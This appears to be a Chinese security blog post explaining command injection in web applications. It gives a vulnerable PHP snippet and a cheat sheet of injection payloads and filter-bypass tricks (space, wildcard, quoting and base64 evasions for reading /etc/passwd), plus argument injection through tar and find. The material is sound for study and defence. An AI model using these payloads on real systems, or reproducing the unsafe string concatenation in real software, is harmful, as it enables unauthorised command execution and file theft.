Web安全之命令注入漏洞


前言

Web开发中大量需求需要执行外部命令,且往往需要拼接用户提供的数据作为命令的一部分。攻击者通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
命令注入可以大致分为两类:Shell解析与参数注入

1. Shell解析

shell解析场景指的是拼接部分内容会被shell解析(sh/bash/cmd.exe),这种执行外部命令的场景使用起来比较灵活。同样的,在漏洞利用方式上也有非常多技巧。

Linux

命令分割

example

<?php
system('ls '.$_GET['cmd']);
?>
cmd.php?cmd=;id
cmd.php?cmd=|id
cmd.php?cmd=%26id      %26 -> &
cmd.php?cmd=%0aid   %0a ->换行
下面两种利用方式也可以,但是有限制,很少用
cmd.php?cmd=||id   要求前面命令执行失败
cmd.php?cmd=%26%26 要求前面命令执行成功

反引号

cmd.php?cmd=`id`

$符

cmd.php?cmd=$(id)

绕过方法

<绕过空格(受限)

cat</etc/passwd

$IFS$9绕过空格

cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
这里$9的作用为插入空值,用于分隔,可以替换为$1-9,$@,'',"",``等

通配符绕过

/???/c?t/p??swd 代替 /bin/cat /etc/passwd
/???/n? 代替 /bin/nc

字符串拼接绕过

/'b'i''n/'c''at' /e't'c/p''as''sw'd'
也可以采用插入空值
/bin/cat /etc/pa``sswd
/bin/cat /etc/pa$9sswd

续行符\绕过

\c\a\t \/\e\t\c\/\p\a\s\s\w\d
可加换行
c\
at /etc/passwd

变量拼接绕过黑名单

a=l;b=s;$a$b

base64编码绕过黑名单

 `echo "Y2F0IC9ldGMvcGFzc3dkCg=="|base64 -d`

Windows

2. 参数注入

tar

tar cf 1.tar 1.txt --checkpoint=1 --checkpoint-action=exec=id

find

find . -exec ls {} ;
#ps: 命令中的;是作为find参数的一部分,如果在命令行中测试,需要进行转义 \;

3. 场景与探测方案

应该用什么Payload探测是否存在命令注入?
正则限制输入字符集后,最少存在哪些字符实现任意命令执行?

Shell解析,直接拼接

<?php
system('ls '.$_GET['cmd']);
?>
  • 可用字符:`

      `cmd`
  • 可用字符:;

    ;cmd
  • 可用字符:|

      |cmd
  • 可用字符:&

      &cmd
  • 可用字符:\n

      %0acmd
  • 可用字符:$()

      $(cmd)

Shell解析,直接拼接,双引号包围

  • 可用字符:`

    `cmd`
  • 可用字符:$()

    $(cmd)
  • 可用字符:"+;"+|"+&"+\n

    ";cmd"
    "|cmd"
    "&cmd"
    "%0acmd"

Shell解析,直接拼接,单引号包围

  • 可用字符:'+`'+$()'+;'+|'+&'+\n

    '`cmd`'
    '$(cmd)'
    ';cmd'
    '|cmd'
    '&cmd'
    '%0acmd'
  • 可用字符:-

    考虑参数注入


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com